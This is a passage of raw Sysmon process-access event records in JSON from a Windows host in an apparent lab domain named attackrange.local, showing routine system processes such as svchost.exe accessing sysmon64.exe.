11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1666,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.772\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.772","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1667,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1668,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1669,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1670,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1671,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1672,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1673,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1674,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 